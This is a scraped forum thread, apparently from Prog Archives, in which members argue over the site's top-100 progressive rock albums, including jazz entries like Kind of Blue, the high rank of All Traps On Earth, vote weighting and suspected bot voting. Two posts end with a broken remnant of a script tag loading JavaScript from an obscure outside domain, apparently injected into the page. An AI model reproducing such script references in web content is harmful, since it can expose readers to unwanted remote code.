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What’s your biggest gripe with the top 100
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dougmcauliffe View Drop Down
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    Posted: February 17 2020 at 13:55
With respect for everyone’s opinions, what’s your biggest personal gripe with our top 100 albums. Wether it be an albums placement, or an album you think deserves being on the list being left off. I’ll start

Fragile at number 11, hell no. Way too much fluff on that album, wouldn’t put it anywhere near the top 100. Just my opinion.
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verslibre View Drop Down
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I find it perplexing that Pain of Salvation and Opeth appear multiple times, and Goblin doesn't appear once.

I guess more people need to listen to Goblin. Wink



Edited by verslibre - February 17 2020 at 16:26
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progmatic View Drop Down
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I have no gripes.  It is what it is. Nothing will satisfy everyone because of individual taste.
On another website the greatest 100 baseball players of all-time are being counted down, one a day until opening day. The author explained that actual inclusion/exclusion/placement on the list was not to an end-all, be-all. In fact, he said, someone he had ranked 100th could just as easily have been 75th so don't sweat it, the series is just about tellling stories about a lot of baseball greast and the rankings are completely arbitrary.
So of course most of the readers miss the point and argue and complain over not only who was included or left off the list, but whether someone should be 68th or 65th.
People will ALWAYS argue over any top-100 or top 50 or top 1,000 list of any kind because no two people share exactly the same opinons.
I don't worry about the list; it's nothing more than a tool for viewers to see a bunch of great albums that they may enjoy. Nothing is stopping anyone from exploring outside the top 100 either. 


Edited by progmatic - February 17 2020 at 14:21
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Kind Of Blue... It's a landmark jazz album for sure, perhaps progressive in its own ways, but it sure as hell ain't progressive rock in any way. Worst thing is that it's ahead of some of the Miles Davis albums that are the reason he's on PA in the first place. While I'm not going to say we should award stars based solely on how "prog" or "progressive" an album is, the definition of a 5-star rating here is "Essential: a masterpiece of progressive rock music" - so I think its status here is unwarranted.

Other then that, I don't care. People have different opinions than me, whoop de doo.
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Originally posted by ForestFriend ForestFriend wrote:

Kind Of Blue... It's a landmark jazz album for sure, perhaps progressive in its own ways, but it sure as hell ain't progressive rock in any way. Worst thing is that it's ahead of some of the Miles Davis albums that are the reason he's on PA in the first place. While I'm not going to say we should award stars based solely on how "prog" or "progressive" an album is, the definition of a 5-star rating here is "Essential: a masterpiece of progressive rock music" - so I think its status here is unwarranted.

Other then that, I don't care. People have different opinions than me, whoop de doo.


Agree completely. 29th best prog album of all time? No way jose
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Also I’m not asking wether or not you care about the list or wether or not I should care about the list. I’m asking those who pay attention to it what their biggest annoyance is with it.

Edited by dougmcauliffe - February 17 2020 at 14:45
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I'm in the 'it is what it is' camp. Each of us has our own opinions and tastes. I can certainly disagree with a number of albums being top 100 or where they are placed, but each of the albums up there have a few hundred people who consider the album to be a prog classic. Not really gonna gripe about it. 

Even with "Kind of Blue" which I agree is not a prog album and should be excluded from the list, but it's just how it works. Miles Davis has jazz rock fusion albums, so he's in prog archives. He also has a lot of non-jr fusion albums and all of his albums are included, and Kind of Blue is a jazz masterpiece. I would personally abstain from rating it here, but people will rate it and base it on non-prog 1-5 scale. Nothing I can do about it.

I pretty much use the database only to find possible recommendations by year and by genre so I don't pay much attention to the top 100. My question is does it matter much what albums make it in to the top 100. It's basically a popularity survey of prog, and if someone new to prog gets on, they'll find a good sample of albums to try with the top 100, and if it is something they like, they'll discover on their own what they think should be there or not.< ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">
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Points: 6413 		Post Options Post Options   Thanks (0) Thanks(0)   Quote mathman0806 Quote  Post ReplyReply Direct Link To This Post Posted: February 17 2020 at 14:49
Originally posted by dougmcauliffe dougmcauliffe wrote:

Also I’m not asking wether or not you care about the list or wether or not I should care about the list. I’m asking those who pay attention to it what their biggest annoyance is with it.
< ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">

I answered before seeing this. Ignore my previous post.
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Miles Davis? Tool? Pain of Salvation? Queensryche?
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Every jazz album that the artists themselves would not have considered "progressive rock" (I am looking at you, Miles Davis, Billy Cobham, Nucleus, etc.).

Also, I find it a joke that 

A Drop Of Light
All Traps On Earth

is rated 28th with only 433 ratings. WTF? Look at the masterpieces that are following it, and ones that aren't even on the 100 list. Any sentient member would not consider this some kind of masterpiece better than Hot Rats, The Yes Album, Meddle, Crime of the Century, ELP debut, Lateralus, Voyage of the Acolyte, A Trick of the Tail, The Lamb Lies Down on Broadway, A Farewell to Kings, Rock Bottom, Aqualung (which isn't even on the list), etc. 

Even funnier "All Traps On Earth" was not even voted as one of the TOP 50 in the 2018 Prog Archives Collaborators Album of the Year. Again, WTF? There's a bad QWR quotient in the voting tabulation somewhere.


Edited by The Dark Elf - February 17 2020 at 17:10
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I'm personally happy with my top 100. Any other list reflects other peoples tastes/preferences, which is ok, andif it doesn't match my list, is not something I'm going to loose any sleep over. 
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Personally I think that all traps on earth album 100% deserves it’s place and more^

Incredible production and musicianship and I have no problem ranking it higher than all those, I’d argue for top 10 for it honestly.

Edited by dougmcauliffe - February 17 2020 at 17:37
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Originally posted by dougmcauliffe dougmcauliffe wrote:

Personally I think that all traps on earth album 100% deserves it’s place and more^

Incredible production and musicianship and I have no problem ranking it higher than all those, I’d argue for top 10 for it honestly.

Then you might like to listen to any number of jazz fusion albums from the 1970s. The album is derivative. Fine as a debut, but derivative of great fusion albums produced 40 years ago. Evidently, you've never heard of Return to Forever, Billy Cobham or Mahavishnu Orchestra. Been there, done that.
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The best fusion albums have a keyboardist who plays a Minimoog and/or ARP Odyssey and/or Fender Rhodes electric piano and/or Hohner Clavinet, so you can't go wrong with the '70s!

Jan, George, Joe, Herbie, Chick, Al...them's cats where it's at!
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Originally posted by Manuel Manuel wrote:

I'm personally happy with my top 100. Any other list reflects other peoples tastes/preferences, which is ok, and if it doesn't match my list, is not something I'm going to loose any sleep over. 

With the one situation that DE noted above ... which shows that it is not an album that has been heard and appreciated by the folks at PA, in general, when some of the others have way more votes ... and this was one of the issues with the open voting ... how many bots can someone setup to help "their" band look better ... and in essence, it hurts the poll, and I'm not putting down the band, but in 40 years, with so many folks voting here for at least what ... 10 to 20 years? ... 

Again, the setting up of the top of the pops, needs to STOP being the way it is, and these situations addressed. 
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What's to complain about? It's a reflection of the preferences of many. Do i have the same list? Of course not but to actually consider it anything other than what it is, namely an indicator for how many proggers vote from total newbie to hardened master is trying to place more emphasis on it than it needs.

I do wish the top 250 was expanded to a top 1000 or something. I do like to understand where the majority stands even if i don't personally favor every choice.

It's also interesting how different the prog choices are on RYM than PA or any other site. It shows that different sites attract different crowds. If someone averaged the ratings of all the sites on the net then that would probably be a better indicator of what's really going on in the world. Just sayin'

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This...

Average rating: The classic calculation of the average but more weight is affected to the rating of progarchives.com collaborators and to rating with reviews.

- Rating only: Weight = 1 
- Review by members : Weight = 10 
- Review by PA Collaborators : Weight = 20 

20 to 1? Not fair in my opinion. And Miles and all jazz-rock/fusion will never be prog for me.
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Originally posted by The Dark Elf The Dark Elf wrote:

Even funnier "All Traps On Earth" was not even voted as one of the TOP 50 in the 2018 Prog Archives Collaborators Album of the Year. Again, WTF? There's a bad QWR quotient in the voting tabulation somewhere.

Sooooo...#1 doesn't count as part of the Top 50?

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Originally posted by The Dark Elf The Dark Elf wrote:

Originally posted by dougmcauliffe dougmcauliffe wrote:

Personally I think that all traps on earth album 100% deserves it’s place and more^

Incredible production and musicianship and I have no problem ranking it higher than all those, I’d argue for top 10 for it honestly.


Then you might like to listen to any number of jazz fusion albums from the 1970s. The album is derivative. Fine as a debut, but derivative of great fusion albums produced 40 years ago. Evidently, you've never heard of Return to Forever, Billy Cobham or Mahavishnu Orchestra. Been there, done that.


I do love fusion and have a pretty good collection. In ATOE i hear symphonic, eclectic, zeuhl and RIO/advent. Very little fusion. I’m not going to argue though, it’s an opinion you are allowed to have.
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Originally posted by Tapfret Tapfret wrote:

 
Sooooo...#1 doesn't count as part of the Top 50?

My mistake. Didn't scroll enough.
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